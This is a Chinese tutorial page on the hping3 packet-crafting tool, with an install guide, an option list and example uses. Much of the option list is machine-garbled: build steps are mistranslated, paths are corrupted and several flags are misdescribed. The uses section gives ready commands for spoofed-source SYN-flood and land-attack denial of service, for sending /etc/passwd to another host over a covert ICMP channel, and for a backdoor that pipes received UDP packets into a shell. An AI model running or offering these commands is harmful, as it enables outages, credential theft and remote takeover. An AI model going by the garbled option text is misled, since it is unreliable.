hping3
测试网络和主机的安全性
补充说明
hping是一个用于生成和分析TCPIP协议包的开源工具。 创作者是Salvatore Sanfilippo。 当前版本为hping3,支持使用tcl脚本自动调用API。 hping是安全审核、防火墙测试等工作的标准工具。 hping的优点是可以定制数据包的各个部分。 因此,用户可以灵活地精细检测目标。
安装
yuminstalllibpcap-devel TC-devel
ln-s/usr/include/pcap-bpf.h/usr/include/net/bpf.h
wget 3358 www.hping.org/hping3- 2005 11 05.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
化妆
制造安装
选项
-H --help显示帮助。
- v版本信息。
有关-c --count count发送包的次数countreached_timeout的信息,可以在hping2.h中进行编辑。
- I--间隔数据包的发送间隔(毫秒)默认时间为1秒。 此功能对于提高传输速率很重要,也用于空闲/侦听扫描。 可以参考hping-howto获得更多信息。 -fast每秒发送10个数据包。
-n -nmeric数字输出,象征性地输出主机地址。
-q -quiet结束。
- I--接口接口名称只是参数,如eth0。
-v --verbose显示许多信息,TCP响应通常为len=46ip=192.168.1.1 flags=radfseq=0TTL=0win=0.4 RTT=0.4 ms tos=
如果-D --debug进入调试模式且pldmy有故障,例如HPING可能不熟悉,可以在此模式下纠正HPING。 (接口检测、数据链接层访问、接口设置、
使用-z --radbzd快捷键。
-Z --unradbzd删除快捷键。
- o--原始IP原始IP模式。 在此模式下,HPING发送带数据的IP标头。
-1 --ICMP ICMP模式。 在此模式下,HPING发送IGMP响应消息。 ----icmp type---- -可以使用icmp代码选项发送其他类型/模式的icmp消息。
-2 --udp UDP模式,默认情况下,HPING将UDP消息发送到主机上的0个端口。 可以使用----baseport----destport----keep选项指定模式。
-9- -监听器hping的侦听模式。 在此模式下,hping将接收指定的数据。
- a--如果spoof hostname伪造IP攻击,防火墙将不再记录你的真实IP。 当然,也不能接收响应的数据包。
-t --ttl time to live可以指定发送包的TTL值。
- h-- IP协议在原始IP模式下选择IP协议。
-w --WINID UNIX、WINDIWS的id响应不同。 选择此选项可提供与WINDOWS相同的id响应。
如果-r --rel更改了ID,则可以减少ID一次后输出。 有关详细信息,请参阅HPING-HOWTO。
-F --FRAG更改包的标志。 这可以测试对方对数据包碎片的处理能力。 默认的“虚拟MTU”为16字节。
-x --morefrag此功能通过发送碎片,使主机忙于恢复碎片,从而导致主机拒绝服务。
-y -dontfrag发送不可恢复的IP碎片。 这使您可以了解有关MTU路径发现的详细信息。
- g-- fragoffragmentoffsetvaluesetthefragmentoffset
-m --mtu mtu value使用此项目时ID的数值会变大,50000未指定此项目时为3000-20000左右。
-G --rroute可以记录路由并查看详细数据等,最多可以通过9个路由,即使主机屏蔽了ICMP消息。
- c-- ICMP类型类型指定icmp类型,默认值为ICMP echo REQUEST。
- k-- ICMP代码代码指定icmp代码编号。 默认值为0。
--icmp-ipver还将IP版本插入IP标头。
--icmp-iphlen设置IP标头的长度。 默认值为5(32字节)。
>--icmp-iplen 设置IP包长度。--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
Hping3功能
Hping3主要有以下典型功能应用:
防火墙测试
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。
hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。
Idle扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。
拒绝服务攻击
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如smurf、teardrop、land attack等也很容易构建出来。
文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:
hping3 192.168.1.159--listen signature --safe --icmp
监听ICMP包中的签名,根据签名解析出文件内容。
在发送端使用签名打包的ICMP包发送文件:
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。
木马功能
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/radbz/sh执行。
在木马启动端:
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /radbz/sh
在远程控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。